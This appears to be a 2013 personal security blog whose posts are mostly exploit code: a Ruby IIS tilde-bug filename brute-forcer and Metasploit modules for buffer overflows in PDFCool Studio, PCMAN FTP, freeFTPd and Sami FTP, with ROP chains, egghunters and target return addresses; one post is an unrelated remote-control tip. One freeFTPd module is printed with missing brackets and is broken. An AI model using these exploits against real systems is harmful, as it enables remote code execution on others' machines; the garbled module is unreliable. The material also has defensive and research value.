argv[0]: 2013

Friday, October 11, 2013

Simple IIS Tidle Bug Enumeration Script

During a pentest, i need to show the iis tidle bug to a customer as prove. so i code a simple ruby script for them.

#!/usr/bin/env ruby

# iistidlebugpoc.rb
# quick poc script for ms iis tidle bug

require 'rubygems'
require 'mechanize'
require 'optparse'

STDOUT.sync = true

@agent = Mechanize.new
#@agent.ssl_version = 'SSLv3'
@agent.verify_mode = OpenSSL::SSL::VERIFY_NONE

@options = {}
OptionParser.new do |opts|
opts.banner = "Usage: example.rb [options]"
opts.on('-u', '--url url', 'https://example.com/') do |url|
@options[:url] = url
end
opts.on('-v', '--verbose', 'enable debug output') do
@options[:verbose] = true
end
opts.on('-e', '--errcode errcode', 'define error code') do |errcode|
@options[:errcode] = errcode
end
opts.on('-h', '--help', 'help?') do
puts opts
exit
end
opts.parse!
end

if @options[:errcode].nil?
@options[:errcode] = "404"
end

def send_req(data)
begin
url = @options[:url] + "#{data}"
@agent.get(url)
rescue Mechanize::ResponseCodeError => e
return e.response_code
end
end

def chk_char(str)
if @options[:errcode] == send_req(str + "*~1*/.aspx")
print "------"
print "\r#{str}\n"
return str
else
return nil
end
end

def chk_file(list)
data = Array.new()
list.each do |str|
mychar = "qazwsxedcrfvtgbyhnujmikolp1627384950_- ."
mychar.each_char do |chr|
if (res = chk_char(str + chr)).nil?
else
#puts "char : #{res}"
data.push(res)
end
end
end
return data
end

i = 0
data = Array.new()
data.push('')

puts "Bruteforce filename..please wait"
puts "Error Code : #{@options[:errcode]}"

while (i < 5)
a = chk_file(data)
data = a
i += 1
end

Friday, October 4, 2013

PDFCool Studio Buffer Overflow Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PDFCool Studio Buffer Overflow Vulnerability',
      'Description'    => %q{
            PDFCool Studio Suite is prone to a security vulnerability when
            processing PDF files. This vulnerability could be exploited by a remote
            attacker to execute arbitrary code on the target machine by enticing
            users to open a specially crafted PDF file (client-side attack).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Marcos Accossatto - CORE Exploit Writers Team.', # Vulnerability discovery
          'Muhamad Fadzil Ramli <mind1355 [at] gmail.com> - mind1355.blogspot.com',
        ],
      'References'     =>
        [
          [ 'CVE', '2013-4986' ],
          [ 'CORE', '2013-0828' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'       => 2000,
          'EncoderType' => Rex::Encoder::Alpha2::AlphaUpper
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'PDFCool 3.34 / Windows XP SP3 (EN)',
            {
              'Ret' => 0x005EA1EC,
            }
          ]
        ],
      'DisclosureDate' => 'Oct 02 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The output filename.', 'motiv.pdf'])
      ], self.class)
  end

  def exploit
    file_create(make_pdf)
  end

  def jpeg

        image_data = 
        "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00\x00\x02" +
        "\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x03\x02\x02" +
        "\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04\x04\x04\x05\x05\x05\x05" +
        "\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08\x07\x05\x09\x0A\x0A\x0A\x0A\x09" +
        "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02" +
        "\x02\x03\x03\x03\x07\x05\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D" +
        "\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E" +
        "\x0E\x0E\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11" +
        "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00\xE6\x04" +
        "\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4\x01\xA2\x00\x00" +
        "\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x04\x05\x03" +
        "\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01\x54\x02\x02\x03\x01\x01\x01\x01" +
        "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x03\x04\x05\x06\x07\x08\x09" +
        "\x0A\x0B\x10\x00\x02\x01\x03\x03\x02\x04\x02\x06\x07\x03\x04\x02\x06\x02" +
        "\x73\x01\x02\x03\x11\x04\x00\x05\x21\x12\x31\x41\x51\x06\x13\x61\x22\x71" +
        "\x81\x14\x32\x91\xA1\x07\x15\xB1\x42\x23\xC1\x52\xD1\xE1\x33\x16\x62\xF0" +
        "\x24\x72\x82\xF1\x25\x43\x34\x53\x92\xA2\xB2\x63\x73\xC2\x35\x44\x27\x93" +
        "\xA3\xB3\x36\x17\x54\x64\x74\xC3\xD2\xE2\x08\x26\x83\x09\x0A\x18\x19\x84" +
        "\x94\x45\x46\xA4\xB4\x56\xD3\x55\x28\x1A\xF2\xE3\xF3\xC4\xD4\xE4\xF4\x65" +
        "\x75\x85\x95\xA5\xB5\xC5\xD5\xE5\xF5\x66\x76\x86\x96\xA6\xB6\xC6\xD6\xE6" +
        "\xF6\x37\x47\x57\x67\x77\x87\x97\xA7\xB7\xC7\xD7\xE7\xF7\x38\x48\x58\x68" +
        "\x78\x88\x98\xA8\xB8\xC8\xD8\xE8\xF8\x29\x39\x49\x59\x69\x79\x89\x99\xA9" +
        "\xB9\xC9\xD9\xE9\xF9\x2A\x3A\x4A\x5A\x6A\x7A\x8A\x9A\xAA\xBA\xCA\xDA\xEA" +
        "\xFA\x11\x00\x02\x02\x01\x02\x03\x05\x05\x04\x05\x06\x04\x08\x03\x03\x6D" +
        "\x01\x00\x02\x11\x03\x04\x21\x12\x31\x41\x05\x51\x13\x61\x22\x06\x71\x81" +
        "\x91\x32\xA1\xB1\xF0\x14\xC1\xD1\xE1\x23\x42\x15\x52\x62\x72\xF1\x33\x24" +
        "\x34\x43\x82\x16\x92\x53\x25\xA2\x63\xB2\xC2\x07\x73\xD2\x35\xE2\x44\x83" +
        "\x17\x54\x93\x08\x09\x0A\x18\x19\x26\x36\x45\x1A\x27\x64\x74\x55\x37\xF2" +
        "\xA3\xB3\xC3\x28\x29\xD3\xE3\xF3\x84\x94\xA4\xB4\xC4\xD4\xE4\xF4\x65\x75" +
        "\x85\x95\xA5\xB5\xC5\xD5\xE5\xF5\x46\x56\x66\x76\x86\x96\xA6\xB6\xC6\xD6" +
        "\xE6\xF6\x47\x57\x67\x77\x87\x97\xA7\xB7\xC7\xD7\xE7\xF7\x38\x48\x58\x68" +
        "\x78\x88\x98\xA8\xB8\xC8\xD8\xE8\xF8\x39\x49\x59\x69\x79\x89\x99\xA9\xB9" +
        "\xC9\xD9\xE9\xF9\x2A\x3A\x4A\x5A\x6A\x7A\x8A\x9A\xAA\xBA\xCA\xDA\xEA\xFA" +
        "\xFF\xDA\x00\x0E\x04\x01\x00\x02\x11\x03\x11\x04\x00\x00\x3F\x00\xFB\xF6" +
        "\x48\x50\x49\xE8\x31\x57\xF3\xFF\x00\x91\xFD\x43\xCC\x9A\x6E\x9C\x48\x9E" +
        "\xE1\x54\x8E\xD5\xCC\x9C\x1A\x0C\xB9\x79\x06\x32\xC8\x03\xA9\x84\x27\xF3" +
        "\x03\x43\x06\x9F\x5A\x5F\xBF\x32\x7F\x91\x33\xF7\x31\xF1\xE2\xDD\x0E"

        eggoptions = { :startreg => 'eax', :checksum => true, :eggtag => 'w00t' }
        hunter, egg = generate_egghunter(payload.encoded, nil, eggoptions)

        buf = ''
        buf << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+10").encode_string # jmp 16 bytes
        buf << "\x90" * 2
        buf << [target.ret].pack('V')
        buf << "\x90" * 8
        buf << hunter
        buf << "\x90" * 32
        buf << egg
        buf << rand_text_alpha_upper(3061 - buf.length)

        image_data << buf

    return image_data
  end

  def nObfu(str)
    return str
  end

  def make_pdf
    # pdf template taken from coolpdf exploit module
    @pdf << header
    add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
    add_object(2, nObfu("<</Type/Outlines>>"))
    add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
    add_object(4, nObfu("[/PDF/Text/ImageC]"))
    add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
    stream_1 = "stream" << eol
    stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
    stream_1 << "endstream" << eol
    add_object(6, nObfu("<</Length 91>>#{stream_1}"))
    stream = "<<" << eol
    stream << "/Width 230" << eol
    stream << "/BitsPerComponent 8" << eol
    stream << "/Name /X" << eol
    stream << "/Height 50" << eol
    stream << "/Intent /RelativeColorimetric" << eol
    stream << "/Subtype /Image" << eol
    stream << "/Filter /DCTDecode" << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << "/ColorSpace /DeviceCMYK" << eol
    stream << "/Type /XObject" << eol
    stream << ">>"
    stream << "stream" << eol
    stream << jpeg << eol
    stream << "endstream" << eol
    add_object(7, stream)
    finish_pdf
  end

end

Thursday, September 19, 2013

PACMAN FTP STOR Command Exploit - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server STOR Command Stack Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability
found in the STOR command of the PCMAN FTP v2.07 Server
when the "/../" parameters are also sent to the server.
},
'Author' =>
[
'Christian (Polunchis) Ramirez', # Initial Discovery
'Rick (nanotechz9l) Flores', # Metasploit Modul
'Muhamad Fadzil Ramli <mind1355 [at] gmail.com>', # metasploit module - DEP Bypass
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '28328' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Windows XP (Build 2600, Service Pack 3)
[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x77C46028, 'Offset' => 2002 } ], # RETN
# Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
[ 'Windows 2003 Server R2 SP2 EN', { 'Ret' => 0x77BB8040, 'Offset' => 2002 } ], # RETN
],
'DisclosureDate' => 'Jul 17 2011',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /PCMan's FTP Server 2.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect_login

case target_index()
when 0
print_status("Target ID: #{target.name}")
# rop skeleton using mona.py
rop =
[
0x77c23960, # POP EBP # RETN [msvcrt.dll]
0x77c23960, # skip 4 bytes [msvcrt.dll]
#----------avoid null byte----------------
0x77c53436, # POP EBX # RETN [msvcrt.dll]
0x042444DE, # EBX = 0x042444DE
0x77c4d04e, # POP EDX # RETN [msvcrt.dll]
0xFBDBBB62, # EDX = 0xFBDBBB62
0x77c2c7ae, # ADD EDX,EBX # POP EBX # RETN 0x10
# 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
0xFBDBBD23, # EBX = 0xFBDBBD23
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c4e392, # POP EAX # RETN
0x042444DE, # EAX = 0x042444DE
0x77c50c77, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
# 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
#-----------------------------------------
0x77c3b1ad, # POP ECX # RETN [msvcrt.dll]
0x77c62f18, # &Writable location [msvcrt.dll]
0x77c46116, # POP EDI # RETN [msvcrt.dll]
0x77c46101, # RETN (ROP NOP) [msvcrt.dll]
0x77c2eb03, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c21d16, # POP EAX # RETN [msvcrt.dll]
0x77c11120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]
].flatten.pack("V*")
when 1
print_status("Target ID: #{target.name}")
# rop skeleton using mona.py
rop =
[
0x77bb2563, # POP EAX # RETN [msvcrt.dll]
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bac27e, # POP EBP # RETN [msvcrt.dll]
0x77be2265, # & push esp # ret [msvcrt.dll]
#----------avoid null byte------------------
0x77be1ef3, # POP EDX # RETN [msvcrt.dll]
0xFBDBBB63, # 0x00000040-> edx
0x77bcb691, # POP EBX # RETN [msvcrt.dll]
0x042444DD, # EBX = 0x042444DD
0x77bbd50e, # ADD EDX,EBX # POP EBX # RETN 0x10
# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
0xFBDBBD23, # EBX** = 0xFBDBBD23
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BDFE3E, # RETN (ROP NOP)
0x77BC541C, # XOR EAX,EAX # INC EAX # RETN
0x77be2219, # ADD EAX,42444DD # RETN
0x77BDFE37, # ADD EBX,EAX # OR EAX, 3000000 # RETN
# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
#-------------------------------------------
0x77bcadff, # POP ECX # RETN [msvcrt.dll]
0x77bf2cfc, # &Writable location [msvcrt.dll]
0x77bd88b8, # POP EDI # RETN [msvcrt.dll]
0x77bd8c05, # RETN (ROP NOP) [msvcrt.dll]
0x77be3adb, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
].flatten.pack("V*")
end

rop << make_nops(32)
rop << payload.encoded

print_status("Sending exploit buffer...")

buf = Rex::Text.pattern_create( 3000 )

buf[ target['Offset'],4] = [ target.ret ].pack('V')
buf[ target['Offset']+8, rop.length ] = rop

send_cmd( ['STOR', '/../' + buf], false )

handler
disconnect
end

end

Monday, September 16, 2013

Updated: freeftpd exploit with XP & W2K3 DEP bypass

Update ROP for windows XP and W2K3

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow',

'Description' => %q{

This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.

credit goes to Wireghoul.

'Author' =>

[

'Wireghoul - www.justanotherhacker.com', # original poc

'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module

'License' => MSF_LICENSE,

'References' =>

[

[ 'OSVDB', '96517' ],

[ 'EDB', '27747' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'seh'

'Privileged' => false,

'Payload' =>

{

'Space' => 512,

'BadChars' => "\x00\x20\x0a\x0d",

'Platform' => 'win',

'Targets' =>

[

# Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass

[ 'Windows XP Pro SP3 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C

# Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass

[ 'Windows 2003 Server SP2 EN - DEP', { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C

# Wireghoul offset does not match mine, so using his offset as a credit to him

#[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x00414226 , 'Offset' => 952 } ],

[ 'Windows XP Pro SP3 EN', { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],

'DisclosureDate' => 'Aug 21 2013',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner =~ /freeFTPd 1.0/)

return Exploit::CheckCode::Vulnerable

end

Exploit::CheckCode::Safe

end

def exploit

connect

buf = rand_text_english(1000)

case target_index()

when 0

print_status("Target ID: #{target.name}")

# rop skeleton using mona.py

rop =

[

0x77c23960, # POP EBP # RETN [msvcrt.dll]

0x77c23960, # skip 4 bytes [msvcrt.dll]

#----------avoid null byte----------------

0x77c53436, # POP EBX # RETN [msvcrt.dll]

0x042444DE, # EBX = 0x042444DE

0x77c4d04e, # POP EDX # RETN [msvcrt.dll]

0xFBDBBB62, # EDX = 0xFBDBBB62

0x77c2c7ae, # ADD EDX,EBX # POP EBX # RETN 0x10

# 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040

0xFBDBBD23, # EBX = 0xFBDBBD23

0x77c46101, # RETN (ROP NOP) [msvcrt.dll]

0x77c4e392, # POP EAX # RETN

0x042444DE, # EAX = 0x042444DE

0x77c50c77, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN

# 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201

#-----------------------------------------

0x77c3b1ad, # POP ECX # RETN [msvcrt.dll]

0x77c62f18, # &Writable location [msvcrt.dll]

0x77c46116, # POP EDI # RETN [msvcrt.dll]

0x77c46101, # RETN (ROP NOP) [msvcrt.dll]

0x77c2eb03, # POP ESI # RETN [msvcrt.dll]

0x77c2aacc, # JMP [EAX] [msvcrt.dll]

0x77c21d16, # POP EAX # RETN [msvcrt.dll]

0x77c11120, # ptr to &VirtualProtect() [IAT msvcrt.dll]

0x77c12df9, # PUSHAD # RETN [msvcrt.dll]

0x77c35524, # ptr to 'push esp # ret ' [msvcrt.dll]

].flatten.pack("V*")

rop << make_nops(32)

rop << payload.encoded

buf[12,rop.length] = rop

when 1

print_status("Target ID: #{target.name}")

# rop skeleton using mona.py

rop =

[

0x77bb2563, # POP EAX # RETN [msvcrt.dll]

0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]

0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]

0x41414141, # Filler (compensate)

0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]

0x77bac27e, # POP EBP # RETN [msvcrt.dll]

0x77be2265, # & push esp # ret [msvcrt.dll]

#----------avoid null byte------------------

0x77be1ef3, # POP EDX # RETN [msvcrt.dll]

0xFBDBBB63, # 0x00000040-> edx

0x77bcb691, # POP EBX # RETN [msvcrt.dll]

0x042444DD, # EBX = 0x042444DD

0x77bbd50e, # ADD EDX,EBX # POP EBX # RETN 0x10

# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040

0xFBDBBD23, # EBX** = 0xFBDBBD23

0x77BDFE3E, # RETN (ROP NOP)

0x77BC541C, # XOR EAX,EAX # INC EAX # RETN

0x77be2219, # ADD EAX,42444DD # RETN

0x77BDFE37, # ADD EBX,EAX # OR EAX, 3000000 # RETN

# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201

#-------------------------------------------

0x77bcadff, # POP ECX # RETN [msvcrt.dll]

0x77bf2cfc, # &Writable location [msvcrt.dll]

0x77bd88b8, # POP EDI # RETN [msvcrt.dll]

0x77bd8c05, # RETN (ROP NOP) [msvcrt.dll]

0x77be3adb, # POP EAX # RETN [msvcrt.dll]

0x90909090, # nop

0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]

].flatten.pack("V*")

rop << make_nops(32)

rop << payload.encoded

buf[49+40,rop.length] = rop

when 2

print_status("Target ID: #{target.name}")

buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded

buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"

buf[target['Offset'],4] = [0xfffff9eb].pack("V")

end

buf[target['Offset']+4,4] = [target.ret].pack('V')

print_status("Sending exploit buffer...")

send_user(datastore['FTPUSER'])

send_pass(buf)

handler

disconnect

end

Friday, September 13, 2013

Updated : freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass',
'Description' => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.

},
'Author' =>
[
'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# Windows .NET Server (Build 3790, Service Pack 2) 32bit
[ 'Windows 2003 Server Standard/Enterprise Edition', { 'Ret' => 0x00493ede, 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

# mona.py
rop = [0x77bb2563].pack('V') # POP EAX # RETN [msvcrt.dll]
rop << [0x77ba1114].pack('V') # ptr to &VirtualProtect() [IAT msvcrt.dll]
rop << [0x77bbf244].pack('V') # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
rop << [0x41414141].pack('V') # Filler (compensate)
rop << [0x77bb0c86].pack('V') # XCHG EAX,ESI # RETN [msvcrt.dll]
rop << [0x77bac27e].pack('V') # POP EBP # RETN [msvcrt.dll]
rop << [0x77be2265].pack('V') # & push esp # ret [msvcrt.dll]
#---------------------------
rop << [0x77be1ef3].pack('V') # POP EDX # RETN [msvcrt.dll]
rop << [0xFBDBBB63].pack('V') # 0x00000040-> edx
rop << [0x77bcb691].pack('V') # POP EBX # RETN [msvcrt.dll]
rop << [0x042444DD].pack('V')
rop << [0x77bbd50e].pack('V') # ADD EDX,EBX # POP EBX # RETN 0x10
# 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
rop << [0xFBDBBD23].pack('V') # EBX** = 0xFBDBBD23
rop << [0x77BDFE3E].pack('V')
rop << [0x77BDFE3E].pack('V')
rop << [0x77BDFE3E].pack('V')
rop << [0x77BDFE3E].pack('V')
rop << [0x77BDFE3E].pack('V')
#---------------------------
rop << [0x77BC541C].pack('V') # XOR EAX,EAX # INC EAX # RETN
rop << [0x77be2219].pack('V') # ADD EAX,42444DD # RETN
rop << [0x77BDFE37].pack('V') # ADD EBX,EAX # OR EAX, 3000000 # RETN
# 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
#---------------------------
rop << [0x77bcadff].pack('V') # POP ECX # RETN [msvcrt.dll]
rop << [0x77bf2cfc].pack('V') # &Writable location [msvcrt.dll]
rop << [0x77bd88b8].pack('V') # POP EDI # RETN [msvcrt.dll]
rop << [0x77bd8c05].pack('V') # RETN (ROP NOP) [msvcrt.dll]
rop << [0x77be3adb].pack('V') # POP EAX # RETN [msvcrt.dll]
rop << [0x90909090].pack('V') # nop
rop << [0x77be6591].pack('V') # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]

rop << make_nops(32)
rop << payload.encoded

buf = rand_text_english(1000)
buf[49+40,rop.length] = rop
buf[target['Offset']+4,4] = [target.ret].pack("V") # SEH # ADD ESP,46C

print_status("payload size : #{buf.length}")

print_status("Sending exploit buffer...")
send_user(datastore['FTPUSER'])
send_pass(buf)

handler
disconnect
end

end

Friday, September 6, 2013

freeFTPd 1.0.10 PASS Command SEH Overflow - Metasploit Module

Thursday, August 8, 2013

notes for me!

How to configure cekai astro remote control to work with old decoder

Press menu+004 (don't release menu key while key-in 004)

Saturday, March 9, 2013

Sami FTP Pre-Authentication SEH Buffer Overflow

##
# Exploit Title: Sami FTP Pre-Authentication SEH Buffer Overflow
# Date: Mar 08 2013
# Exploit Author: Muhamad fadzil Ramli <fadzil@motivsolution.asia>
# Vendor Homepage: http://www.karjasoft.com
# Software Link: http://www.karjasoft.com/old.php
# Version: 2.0.1
# Tested on: Microsoft Windows XP Pro SP3
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Ftp
    include Msf::Exploit::Seh
    include Msf::Exploit::Egghunter

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Sami FTP Server Pre-Auth SEH Buffer Overflow',
            'Description'    => %q{
                                      This module exploits a SEH stack-based buffer overflow in Sami FTP server 2.0.1.
                                      Sami FTP server fails to check input size when parsing USER commands, which
                                      leads to a stack based buffer overflow when are viewed under Log tab.
            },
            'License'        => MSF_LICENSE,
            'Author'        =>
                [
                    'superkojiman',    # Original discovery
                    'Muhamad Fadzil Ramli <fadzil@motivsolution.asia>',    # MSF Module
                ],
            'References'    =>
                [
                    [ 'OSVDB', '<none>' ],
                    [ 'CVE', '<none>' ],
                    [ 'URL', '<none>' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'thread', #none/process/thread/seh
                    #'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'    => 'win',
            'Payload'    =>
                {
                    'BadChars' => "\x00\x0a\x0d\x20\x2f", # <change if needed>
                    'DisableNops' => true,
                },

            'Targets'        =>
                [
                    [ 'Microsoft Windows XP Pro SP3',
                        {
                            'Ret'        =>    0x10025669, # pop edi # pop ebx # ret - tmp0.dll
                            'Offset'    =>    452
                        }
                    ],
                ],
            'Privileged'    => false,
            'DisclosureDate'    => 'Mar 08 2013',
            'DefaultTarget'    => 0))

        register_options([Opt::RPORT(21)], self.class)

    end

    def exploit

        connect

        badchars    = "\x00\x0a\x0d\x20\x2f"
        eggoptions = { :startreg => 'eax', :checksum => 'true', :eggtag => 'w00t' }
        hunter, egg = generate_egghunter( payload.encoded, badchars, eggoptions )

        buffer = rand_text(target['Offset']) #junk
        buffer << generate_seh_record(target.ret)
        buffer << make_nops(16)
        buffer << hunter
        buffer << egg    # our payload
        buffer << rand_text_alpha(100) # junk

        print_status("Egg size: #{egg.length}")
        print_status("Payload size: #{buffer.length}")
        print_status("Trying target #{target.name}...")

        send_cmd(['USER',buffer],false)

        print_status("Please wait...lalalala..")
        sleep(45) # waiting for magic to happen!!
        handler
        disconnect

    end
end